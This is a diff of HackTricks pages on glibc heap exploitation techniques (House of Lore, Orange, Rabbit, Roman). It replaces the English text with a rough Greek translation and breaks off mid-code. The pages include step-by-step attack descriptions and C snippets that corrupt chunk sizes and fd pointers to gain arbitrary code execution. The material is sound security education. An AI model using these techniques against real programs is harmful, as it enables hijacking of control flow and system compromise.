τελικά απελευθερώστε το κομμάτι με το περιεχόμενο αυτής της συμβολοσειράς. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md index 862ba7323..d611b16d7 100644 --- a/src/binary-exploitation/libc-heap/house-of-lore.md +++ b/src/binary-exploitation/libc-heap/house-of-lore.md @@ -6,37 +6,37 @@ ### Code -- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - - This isn't working -- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` -- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) +- Έλεγχος του από [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) +- Αυτό δεν λειτουργεί +- Ή: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) +- Αυτό δεν λειτουργεί ακόμα και αν προσπαθεί να παρακάμψει κάποιους ελέγχους και εμφανίζει το σφάλμα: `malloc(): unaligned tcache chunk detected` +- Αυτό το παράδειγμα λειτουργεί ακόμα: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) ### Goal -- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\ - Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position. +- Εισάγετε ένα **ψεύτικο μικρό κομμάτι στον μικρό κάδο ώστε να είναι δυνατή η κατανομή του**.\ +Σημειώστε ότι το μικρό κομμάτι που προστίθεται είναι το ψεύτικο που δημιουργεί ο επιτιθέμενος και όχι ένα ψεύτικο σε τυχαία θέση. ### Requirements -- Create 2 fake chunks and link them together and with the legit chunk in the small bin: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` +- Δημιουργήστε 2 ψεύτικα κομμάτια και συνδέστε τα μεταξύ τους και με το νόμιμο κομμάτι στον μικρό κάδο: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit` (πρέπει να τροποποιήσετε έναν δείκτη στο ελεύθερο μικρό κομμάτι μέσω κάποιας άλλης ευπάθειας) +- `legit.bk` -> `fake0` -Then you will be able to allocate `fake0`. +Έτσι θα μπορείτε να κατανεμηθείτε `fake0`. ### Attack -- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.** -- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` -- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins -- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it. +- Ένα μικρό κομμάτι (`legit`) κατανεμήθηκε, στη συνέχεια κατανεμήθηκε ένα άλλο για να αποτραπεί η συγχώνευση με το κορυφαίο κομμάτι. Στη συνέχεια, το `legit` απελευθερώνεται (μετακινώντας το στη λίστα των αταξινόμητων κομματιών) και κατανεμήθηκε ένα μεγαλύτερο κομμάτι, **μετακινώντας το `legit` στον μικρό κάδο.** +- Ένας επιτιθέμενος δημιουργεί μερικά ψεύτικα μικρά κομμάτια και κάνει την απαραίτητη σύνδεση για να παρακάμψει τους ελέγχους εγκυρότητας: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit` (πρέπει να τροποποιήσετε έναν δείκτη στο ελεύθερο μικρό κομμάτι μέσω κάποιας άλλης ευπάθειας) +- `legit.bk` -> `fake0` +- Ένα μικρό κομμάτι κατανεμήθηκε για να αποκτήσει το legit, κάνοντάς το **`fake0`** στην κορυφή της λίστας των μικρών κάδων +- Ένα άλλο μικρό κομμάτι κατανεμήθηκε, αποκτώντας το `fake0` ως κομμάτι, επιτρέποντας δυνητικά την ανάγνωση/γραφή δεικτών μέσα σε αυτό. ## References diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md index e57f477c6..98cfeb063 100644 --- a/src/binary-exploitation/libc-heap/house-of-orange.md +++ b/src/binary-exploitation/libc-heap/house-of-orange.md @@ -6,66 +6,66 @@ ### Code -- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) - - The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26) -- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) +- Βρείτε ένα παράδειγμα στο [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) +- Η τεχνική εκμετάλλευσης διορθώθηκε σε αυτό το [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) οπότε αυτό δεν λειτουργεί πλέον (λειτουργεί σε εκδόσεις πριν από την 2.26) +- Το ίδιο παράδειγμα **με περισσότερα σχόλια** στο [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) ### Goal -- Abuse `malloc_printerr` function +- Κατάχρηση της συνάρτησης `malloc_printerr` ### Requirements -- Overwrite the top chunk size -- Libc and heap leaks +- Επικαλύψτε το μέγεθος του κορυφαίου κομματιού +- Διαρροές libc και heap ### Background -Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** +Ορισμένα απαραίτητα υπόβαθρα από τα σχόλια από [**αυτό το παράδειγμα**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** -Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\ -This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\ -Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution +Το θέμα είναι ότι, σε παλαιότερες εκδόσεις της libc, όταν καλούνταν η συνάρτηση `malloc_printerr`, θα **επανεξετάσει μια λίστα από δομές `_IO_FILE` που αποθηκεύονται στο `_IO_list_all`**, και στην πραγματικότητα θα **εκτελέσει** έναν δείκτη εντολής σε αυτή τη δομή.\ +Αυτή η επίθεση θα κατασκευάσει μια **ψεύτικη δομή `_IO_FILE`** που θα γράψουμε στο **`_IO_list_all`**, και θα προκαλέσει την εκτέλεση της `malloc_printerr`.\ +Στη συνέχεια, θα **εκτελέσει οποιαδήποτε διεύθυνση** έχουμε αποθηκεύσει στον πίνακα άλματος των δομών **`_IO_FILE`**, και θα αποκτήσουμε εκτέλεση κώδικα. ### Attack -The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set. +Η επίθεση ξεκινά με την επιτυχία να αποκτήσει το **κορυφαίο κομμάτι** μέσα στο **unsorted bin**. Αυτό επιτυγχάνεται καλώντας `malloc` με μέγεθος μεγαλύτερο από το τρέχον μέγεθος του κορυφαίου κομματιού αλλά μικρότερο από το **`mmp_.mmap_threshold`** (προεπιλογή είναι 128K), το οποίο διαφορετικά θα ενεργοποιούσε την κατανομή `mmap`. Όποτε το μέγεθος του κορυφαίου κομματιού τροποποιείται, είναι σημαντικό να διασφαλιστεί ότι το **κορυφαίο κομμάτι + το μέγεθός του** είναι ευθυγραμμισμένο με σελίδα και ότι το bit **prev_inuse** του κορυφαίου κομματιού είναι πάντα ρυθμισμένο. -To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin. +Για να αποκτήσετε το κορυφαίο κομμάτι μέσα στο unsorted bin, εκχωρήστε ένα κομμάτι για να δημιουργήσετε το κορυφαίο κομμάτι, αλλάξτε το μέγεθος του κορυφαίου κομματιού (με μια υπερχείλιση στο εκχωρηθέν κομμάτι) έτσι ώστε το **κορυφαίο κομμάτι + μέγεθος** να είναι ευθυγραμμισμένο με σελίδα με το bit **prev_inuse** ρυθμισμένο. Στη συνέχεια, εκχωρήστε ένα κομμάτι μεγαλύτερο από το νέο μέγεθος του κορυφαίου κομματιού. Σημειώστε ότι η `free` δεν καλείται ποτέ για να αποκτήσει το κορυφαίο κομμάτι στο unsorted bin. -The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**. +Το παλιό κορυφαίο κομμάτι είναι τώρα στο unsorted bin. Υποθέτοντας ότι μπορούμε να διαβάσουμε δεδομένα μέσα σε αυτό (πιθανώς λόγω μιας ευπάθειας που προκάλεσε επίσης την υπερχείλιση), είναι δυνατό να διαρρεύσουμε διευθύνσεις libc από αυτό και να αποκτήσουμε τη διεύθυνση του **\_IO_list_all**. -An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**. +Μια επίθεση unsorted bin εκτελείται με την κατάχρηση της υπερχείλισης για να γράψει `topChunk->bk->fwd = _IO_list_all - 0x10`. Όταν εκχωρηθεί ένα νέο κομμάτι, το παλιό κορυφαίο κομμάτι θα χωριστεί, και ένας δείκτης στο unsorted bin θα γραφεί στο **`_IO_list_all`**. -The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes: +Το επόμενο βήμα περιλαμβάνει τη μείωση του μεγέθους του παλιού κορυφαίου κομματιού για να χωρέσει σε ένα μικρό bin, ρυθμίζοντας συγκεκριμένα το μέγεθός του σε **0x61**. Αυτό εξυπηρετεί δύο σκοπούς: -1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack. -2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`. +1. **Εισαγωγή στο Small Bin 4**: Όταν η `malloc` σκανάρει το unsorted bin και δει αυτό το κομμάτι, θα προσπαθήσει να το εισαγάγει στο small bin 4 λόγω του μικρού του μεγέθους. Αυτό καθιστά το κομμάτι να καταλήξει στην κεφαλή της λίστας small bin 4, η οποία είναι η τοποθεσία του δείκτη FD του κομματιού του **`_IO_list_all`** καθώς γράψαμε μια κοντινή διεύθυνση στο **`_IO_list_all`** μέσω της επίθεσης unsorted bin. +2. **Προκαλώντας έναν Έλεγχο Malloc**: Αυτή η χειραγώγηση μεγέθους κομματιού θα προκαλέσει την `malloc` να εκτελέσει εσωτερικούς ελέγχους. Όταν ελέγχει το μέγεθος του ψευδούς κομματιού forward, το οποίο θα είναι μηδέν, προκαλεί ένα σφάλμα και καλεί την `malloc_printerr`. -The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed. +Η χειραγώγηση του μικρού bin θα σας επιτρέψει να ελέγξετε τον δείκτη forward του κομματιού. Η επικάλυψη με **\_IO_list_all** χρησιμοποιείται για να κατασκευάσει μια ψεύτικη δομή **\_IO_FILE**. Η δομή είναι προσεκτικά κατασκευασμένη για να περιλαμβάνει βασικά πεδία όπως `_IO_write_base` και `_IO_write_ptr` ρυθμισμένα σε τιμές που περνούν τους εσωτερικούς ελέγχους στη libc. Επιπλέον, δημιουργείται ένας πίνακας άλματος μέσα στη ψεύτικη δομή, όπου ένας δείκτης εντολής ρυθμίζεται στη διεύθυνση όπου μπορεί να εκτελεστεί αυθαίρετος κώδικας (π.χ., η συνάρτηση `system`). -To summarize the remaining part of the technique: +Για να συνοψίσουμε το υπόλοιπο της τεχνικής: -- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin. -- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow. +- **Μειώστε το Παλιό Κορυφαίο Κομμάτι**: Ρυθμίστε το μέγεθος του παλιού κορυφαίου κομματιού σε **0x61** για να χωρέσει σε ένα μικρό bin. +- **Ρυθμίστε τη Ψεύτικη Δομή `_IO_FILE`**: Επικαλύψτε το παλιό κορυφαίο κομμάτι με τη ψεύτικη δομή **\_IO_FILE** και ρυθμίστε τα πεδία κατάλληλα για να καταλάβετε τη ροή εκτέλεσης. -The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed. +Το επόμενο βήμα περιλαμβάνει την κατασκευή μιας ψεύτικης δομής **\_IO_FILE** που επικαλύπτεται με το παλιό κορυφαίο κομμάτι που βρίσκεται αυτή τη στιγμή στο unsorted bin. Τα πρώτα bytes αυτής της δομής κατασκευάζονται προσεκτικά για να περιλαμβάνουν έναν δείκτη σε μια εντολή (π.χ., "/bin/sh") που θα εκτελείται. -Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands. +Βασικά πεδία στη ψεύτικη δομή **\_IO_FILE**, όπως `_IO_write_base` και `_IO_write_ptr`, ρυθμίζονται σε τιμές που περνούν τους εσωτερικούς ελέγχους στη libc. Επιπλέον, δημιουργείται ένας πίνακας άλματος μέσα στη ψεύτικη δομή, όπου ένας δείκτης εντολής ρυθμίζεται στη διεύθυνση όπου μπορεί να εκτελεστεί αυθαίρετος κώδικας. Συνήθως, αυτή θα είναι η διεύθυνση της συνάρτησης `system` ή κάποια άλλη συνάρτηση που μπορεί να εκτελέσει εντολές shell. -The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed. +Η επίθεση κορυφώνεται όταν μια κλήση στην `malloc` προκαλεί την εκτέλεση του κώδικα μέσω της χειραγωγημένης δομής **\_IO_FILE**. Αυτό επιτρέπει αποτελεσματικά την εκτέλεση αυθαίρετου κώδικα, συνήθως με αποτέλεσμα την εκκίνηση ενός shell ή την εκτέλεση άλλου κακόβουλου payload. -**Summary of the Attack:** +**Σύνοψη της Επίθεσης:** -1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size. -2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk. -3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin. -4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow. -5. **Shrink the old top chunk**: Adjust its size to fit into a small bin. -6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow. -7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code. +1. **Ρυθμίστε το κορυφαίο κομμάτι**: Εκχωρήστε ένα κομμάτι και τροποποιήστε το μέγεθος του κορυφαίου κομματιού. +2. **Αναγκάστε το κορυφαίο κομμάτι στο unsorted bin**: Εκχωρήστε ένα μεγαλύτερο κομμάτι. +3. **Διαρρεύστε διευθύνσεις libc**: Χρησιμοποιήστε την ευπάθεια για να διαβάσετε από το unsorted bin. +4. **Εκτελέστε την επίθεση unsorted bin**: Γράψτε στο **\_IO_list_all** χρησιμοποιώντας μια υπερχείλιση. +5. **Μειώστε το παλιό κορυφαίο κομμάτι**: Ρυθμίστε το μέγεθός του για να χωρέσει σε ένα μικρό bin. +6. **Ρυθμίστε μια ψεύτικη δομή \_IO_FILE**: Κατασκευάστε μια ψεύτικη δομή αρχείου για να καταλάβετε τη ροή ελέγχου. +7. **Προκαλέστε εκτέλεση κώδικα**: Εκχωρήστε ένα κομμάτι για να εκτελέσετε την επίθεση και να τρέξετε αυθαίρετο κώδικα. -This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities. +Αυτή η προσέγγιση εκμεταλλεύεται μηχανισμούς διαχείρισης heap, διαρροές πληροφοριών libc και υπερχείλιση heap για να επιτύχει εκτέλεση κώδικα χωρίς να καλεί άμεσα την `free`. Με την προσεκτική κατασκευή της ψεύτικης δομής **\_IO_FILE** και την τοποθέτησή της στη σωστή θέση, η επίθεση μπορεί να καταλάβει τη ροή ελέγχου κατά τη διάρκεια των τυπικών λειτουργιών κατανομής μνήμης. Αυτό επιτρέπει την εκτέλεση αυθαίρετου κώδικα, πιθανώς με αποτέλεσμα την εκκίνηση ενός shell ή άλλων κακόβουλων δραστηριοτήτων. ## References diff --git a/src/binary-exploitation/libc-heap/house-of-rabbit.md b/src/binary-exploitation/libc-heap/house-of-rabbit.md index 230b7c63e..280d17f7b 100644 --- a/src/binary-exploitation/libc-heap/house-of-rabbit.md +++ b/src/binary-exploitation/libc-heap/house-of-rabbit.md @@ -4,108 +4,90 @@ ### Requirements -1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size. -2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. +1. **Δυνατότητα τροποποίησης του δείκτη fd του fast bin ή του μεγέθους**: Αυτό σημαίνει ότι μπορείτε να αλλάξετε τον προ Forward δείκτη ενός chunk στο fastbin ή το μέγεθός του. +2. **Δυνατότητα ενεργοποίησης του `malloc_consolidate`**: Αυτό μπορεί να γίνει είτε με την εκχώρηση ενός μεγάλου chunk είτε με τη συγχώνευση του κορυφαίου chunk, που αναγκάζει τη heap να συγχωνεύσει τα chunks. ### Goals -1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations. -2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. +1. **Δημιουργία επικαλυπτόμενων chunks**: Για να έχει ένα chunk επικαλυπτόμενο με ένα άλλο, επιτρέποντας περαιτέρω χειρισμούς στη heap. +2. **Κατασκευή ψεύτικων chunks**: Για να ξεγελάσετε τον allocator να θεωρεί ένα ψεύτικο chunk ως νόμιμο chunk κατά τη διάρκεια των λειτουργιών της heap. ## Steps of the attack -### POC 1: Modify the size of a fast bin chunk +### POC 1: Τροποποίηση του μεγέθους ενός fast bin chunk -**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. - -- **Step 1: Allocate Chunks** +**Objective**: Δημιουργία ενός επικαλυπτόμενου chunk τροποποιώντας το μέγεθος ενός fastbin chunk. +- **Step 1: Εκχώρηση Chunks** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` +Αναθέτουμε δύο κομμάτια των 0x40 byte το καθένα. Αυτά τα κομμάτια θα τοποθετηθούν στη λίστα γρήγορων κομματιών μόλις απελευθερωθούν. -We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed. - -- **Step 2: Free Chunks** - +- **Βήμα 2: Απελευθέρωση Κομματιών** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` +Απελευθερώνουμε και τα δύο κομμάτια, προσθέτοντάς τα στη λίστα fastbin. -We free both chunks, adding them to the fastbin list. - -- **Step 3: Modify Chunk Size** - +- **Βήμα 3: Τροποποίηση Μεγέθους Κομματιού** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` +Αλλάζουμε τα μεταδεδομένα μεγέθους του `chunk1` σε 0xa1. Αυτό είναι ένα κρίσιμο βήμα για να ξεγελάσουμε τον αλγόριθμο κατανομής κατά τη διάρκεια της ενοποίησης. -We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation. - -- **Step 4: Trigger `malloc_consolidate`** - +- **Βήμα 4: Ενεργοποιήστε το `malloc_consolidate`** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` +Η εκχώρηση ενός μεγάλου κομματιού ενεργοποιεί τη λειτουργία `malloc_consolidate`, συγχωνεύοντας μικρά κομμάτια στο γρήγορο bin. Το χειρισμένο μέγεθος του `chunk1` προκαλεί να επικαλύπτεται με το `chunk2`. -Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. +Μετά τη συγχώνευση, το `chunk1` επικαλύπτεται με το `chunk2`, επιτρέποντας περαιτέρω εκμετάλλευση. -After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. +### POC 2: Τροποποίηση του δείκτη `fd` -### POC 2: Modify the `fd` pointer - -**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer. - -- **Step 1: Allocate Chunks** +**Στόχος**: Δημιουργία ενός ψεύτικου κομματιού με την τροποποίηση του δείκτη `fd` του γρήγορου bin. +- **Βήμα 1: Εκχώρηση Κομματιών** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` +**Εξήγηση**: Δεσμεύουμε δύο κομμάτια, ένα μικρότερο και ένα μεγαλύτερο, για να ρυθμίσουμε τη στοίβα για το ψεύτικο κομμάτι. -**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. - -- **Step 2: Create fake chunk** - +- **Βήμα 2: Δημιουργία ψεύτικου κομματιού** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` +Γράφουμε ψευδείς μεταδεδομένες πληροφορίες κομματιού στο `chunk2` για να προσομοιώσουμε μικρότερα κομμάτια. -We write fake chunk metadata into `chunk2` to simulate smaller chunks. - -- **Step 3: Free `chunk1`** - +- **Βήμα 3: Απελευθερώστε το `chunk1`** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` +**Εξήγηση**: Απελευθερώνουμε το `chunk1`, προσθέτοντάς το στη λίστα fastbin. -**Explanation**: We free `chunk1`, adding it to the fastbin list. - -- **Step 4: Modify `fd` of `chunk1`** - +- **Βήμα 4: Τροποποιήστε το `fd` του `chunk1`** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` +**Εξήγηση**: Αλλάζουμε τον δείκτη προς τα εμπρός (`fd`) του `chunk1` ώστε να δείχνει στο ψεύτικο chunk μας μέσα στο `chunk2`. -**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`. - -- **Step 5: Trigger `malloc_consolidate`** - +- **Βήμα 5: Ενεργοποιήστε το `malloc_consolidate`** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` +Η εκχώρηση ενός μεγάλου κομματιού ξαναενεργοποιεί το `malloc_consolidate`, το οποίο επεξεργάζεται το ψεύτικο κομμάτι. -Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk. +Το ψεύτικο κομμάτι γίνεται μέρος της λίστας fastbin, καθιστώντας το ένα νόμιμο κομμάτι για περαιτέρω εκμετάλλευση. -The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation. +### Περίληψη -### Summary - -The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills. +Η τεχνική **House of Rabbit** περιλαμβάνει είτε την τροποποίηση του μεγέθους ενός κομματιού fast bin για τη δημιουργία επικαλυπτόμενων κομματιών είτε την παραποίηση του δείκτη `fd` για τη δημιουργία ψεύτικων κομματιών. Αυτό επιτρέπει στους επιτιθέμενους να πλαστογραφήσουν νόμιμα κομμάτια στη heap, διευκολύνοντας διάφορες μορφές εκμετάλλευσης. Η κατανόηση και η πρακτική αυτών των βημάτων θα ενισχύσουν τις ικανότητές σας στην εκμετάλλευση της heap. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index a3deaf939..6c11d3159 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -4,85 +4,80 @@ ## Basic Information -This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). +Αυτή ήταν μια πολύ ενδιαφέρουσα τεχνική που επέτρεπε RCE χωρίς leaks μέσω ψεύτικων fastbins, της επίθεσης unsorted_bin και σχετικών υπεργραφών. Ωστόσο, έχει [**διορθωθεί**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). ### Code -- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) +- Μπορείτε να βρείτε ένα παράδειγμα στο [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) ### Goal -- RCE by abusing relative pointers +- RCE εκμεταλλευόμενοι σχετικούς δείκτες ### Requirements -- Edit fastbin and unsorted bin pointers -- 12 bits of randomness must be brute forced (0.02% chance) of working +- Επεξεργασία των δεικτών fastbin και unsorted bin +- 12 bits τυχαιότητας πρέπει να είναι brute forced (0.02% πιθανότητα) να λειτουργήσουν ## Attack Steps ### Part 1: Fastbin Chunk points to \_\_malloc_hook -Create several chunks: +Δημιουργήστε αρκετά chunks: -- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value. -- `chunk2` (0x80, offset 0x70): For good alignment +- `fastbin_victim` (0x60, offset 0): UAF chunk που θα επεξεργαστεί αργότερα τον δείκτη heap για να δείχνει στην τιμή LibC. +- `chunk2` (0x80, offset 0x70): Για καλή ευθυγράμμιση - `main_arena_use` (0x80, offset 0x100) -- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk +- `relative_offset_heap` (0x60, offset 0x190): σχετική απόσταση στο chunk 'main_arena_use' -Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers. +Στη συνέχεια, `free(main_arena_use)` που θα τοποθετήσει αυτό το chunk στη λίστα unsorted και θα αποκτήσει έναν δείκτη στο `main_arena + 0x68` και στους δύο δείκτες `fd` και `bk`. -Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`. - -Then `relative_offset_heap` and `fastbin_victim` are freed. +Τώρα έχει εκχωρηθεί ένα νέο chunk `fake_libc_chunk(0x60)` γιατί θα περιέχει τους δείκτες στο `main_arena + 0x68` στους `fd` και `bk`. +Στη συνέχεια, `relative_offset_heap` και `fastbin_victim` απελευθερώνονται. ```c /* Current heap layout: - 0x0: fastbin_victim - size 0x70 - 0x70: alignment_filler - size 0x90 - 0x100: 